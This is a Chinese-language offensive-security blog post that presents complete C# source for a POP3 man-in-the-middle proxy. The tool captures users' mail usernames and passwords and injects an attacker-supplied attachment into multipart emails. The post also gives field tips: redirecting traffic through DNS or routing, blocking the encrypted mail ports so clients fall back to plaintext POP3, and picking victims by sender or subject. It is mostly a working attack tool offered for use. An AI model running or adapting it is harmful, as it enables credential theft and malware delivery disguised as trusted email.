文章代码仅限技术交流使用,请遵守国家相关法规。
因使用不当造成的问题与本人无关。
渗透中有时会遇到控制DNS或路由交换设备的场景,此时我们可以发动中间人攻击。
大多数时候,中间人攻击是面向浏览器的,由于HTTPS与HSTS的普及,现在已经不能取得较好的结果。
而在实际的办公网络中,邮件客户端与对应的POP/IMAP/SMTP协议也极为常见。从社工的角度看,对可信发件人的邮件进行篡改的成功率会更高于浏览器钓鱼。
同时,绝大部分邮件客户端在自动查找服务器时会尝试所有协议,大部分客户端和服务器均没有强制SSL的要求,这在对方使用POP3S(995端口)时尝试进行降级也是非常有利的条件。
0x01 原理
POP协议和HTTP类似,同样属于早期的纯文本协议,一封EML邮件和一个HTTP POST包并没有本质区别。实际上,包含附件的EML和HTTP上传文件的multipart包几乎一模一样。
所以只要将multipart的结束标志替换为一个attachment块即可:
唯一要注意的是一个小区别:
multipart/alternative格式的邮件包含文本和html两个部分,其中html部分为现代邮件客户端显示的内容,文本部分为老式邮件客户端显示的内容,其他部分(如附件等)将被忽略。
而现在绝大部分的邮件客户端在处理multipart/relative格式时提供了针对multipart/alternative格式的兼容性,所以针对类似情况,在处理时还需要将邮件头中的Content-Type修改为multipart/relative。
0x02 简单实现
下面(简陋的)的代码实现了以下两个功能:
针对客户端:记录用户名密码。
针对服务器:修改multipart类型的邮件,注入一个自己的附件。
(注:由于没有好用的解析库,暂时不支持纯文本/纯HTML邮件。)
using System;
using System.Text;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;
namespace Zcg.Tests
{
class PopFuckProxy
{
enum state
{
header,
replace
}
static string fn = "";
static string b64 = "";
static void Main(string[] args)
{
Console.WriteLine("POP3 MITM tool v0.1");
Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
try
{
if (args.Length > 4)
{
fn = args[4];
b64 = Convert.ToBase64String(File.ReadAllBytes(fn), Base64FormattingOptions.InsertLineBreaks);
fn=Path.GetFileName(fn);
}
TcpListener tl = new TcpListener(IPAddress.Parse(args[0]), int.Parse(args[1]));
tl.Start();
while (true)
{
NetworkStream nsc = tl.AcceptTcpClient().GetStream();
TcpClient tc = new TcpClient();
tc.Connect(args[2], int.Parse(args[3]));
NetworkStream nss = tc.GetStream();
new Thread(Read).Start(new object[] { nsc, nss });
new Thread(Write).Start(new object[] { nsc, nss });
}
}
catch (Exception ex)
{
if (ex is IndexOutOfRangeException || ex is FormatException)
{
Console.WriteLine("usage: PopFuckProxy <lhost> <lport> <rhost> <rport> [attachment]");
}
else
{
Console.WriteLine(ex);
}
}
}
static void Read(object o)
{
try
{
object[] obj = o as object[];
NetworkStream nsc = obj[0] as NetworkStream;
NetworkStream nss = obj[1] as NetworkStream;
StreamReader sr = new StreamReader(nsc);
StreamWriter sw = new StreamWriter(nss);
sw.AutoFlush = true;
string s = sr.ReadLine();
while (s != null)
{
if (s.StartsWith("USER"))
{
Console.WriteLine("[!] " + s);
}
else if (s.StartsWith("PASS"))
{
Console.WriteLine("[!] " + s);
}
sw.WriteLine(s);
s = sr.ReadLine();
}
}
catch { }
}
static void Write(object o)
{
try
{
object[] obj = o as object[];
NetworkStream nsc = obj[0] as NetworkStream;
NetworkStream nss = obj[1] as NetworkStream;
StreamWriter sw = new StreamWriter(nsc);
sw.AutoFlush = true;
StreamReader sr = new StreamReader(nss);
state stat = state.header;
string boundary = "";
string boundarye = "";
string s = sr.ReadLine();
while (s != null)
{
switch (stat)
{
case state.header:
{
if (boundarye != "" && s == "")
{
stat = state.replace;
}
else if (s.StartsWith("Content-Type") && s.IndexOf("multipart/") > 0)
{
if (s.IndexOf("multipart/alternative") > 0)
{
s = s.Replace("multipart/alternative", "multipart/relative");
}
if (s.IndexOf("boundary=") < 0)
{
sw.WriteLine(s);
s = sr.ReadLine();
}
var arr = s.Split(new string[] { "boundary=" }, 2, StringSplitOptions.RemoveEmptyEntries);
if (arr.Length == 2)
{
boundary = "--" + arr[1].Trim(' ', '\t', '\'', '"');
boundarye = boundary + "--";
stat = state.replace;
}
}
else if (s.StartsWith("Subject"))
{
Console.WriteLine("[+] " + s);
}
sw.WriteLine(s);
break;
}
case state.replace:
{
if (s == boundarye && fn != "")
{
sw.WriteLine(boundary);
sw.WriteLine("Content-Type: application/octet-stream;");
sw.WriteLine(" charset=\"utf-8\";");
sw.WriteLine(" name=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
sw.WriteLine("Content-Disposition: attachment; filename=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
sw.WriteLine("Content-Transfer-Encoding: base64");
sw.WriteLine();
sw.WriteLine(b64);
sw.WriteLine(boundarye);
stat = state.header;
boundarye = "";
Console.WriteLine("[!] Attachment added!");
}
else
{
sw.WriteLine(s);
}
break;
}
}
s = sr.ReadLine();
}
}
catch { }
}
}
}
编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc POPFuckProxy.cs
#dotnet core环境下请自行创建工程复制粘贴。
0x03 测试效果
如图所示,客户端通过11110端口进行POP3协议收信,用户名和密码已被记录,同时邮件附件被添加了指定的data.rar。
0x04 真实场景的一些Tips
1.鉴于场景大多时候是通过DNS、路由等方式,将流量重定向到自己的vps或服务器。所以此时端口也要改成110,以防客户端找不到端口的问题。
2.尽量不要用其他工具代理143、995、993三个端口,这样在对方自动发现尝试时可以“强迫”降级到POP3;25和465最好进行代理,防止影响目标使用。
3.可以在处于state.header状态时检查From、Subject,根据关键词或发件者(以及发件者备注)来进行更精确的投放。
4.可以在代码中新建两个StreamWriter,把流量保存到文件,或者魔改OpenPOP等库把邮件本体进行导出。当然如果图省事也可以用tcpdump+tshark。
Github:https://github.com/zcgonvh/POPFuckProxy
Release:懒得打包加密了,自己编译吧~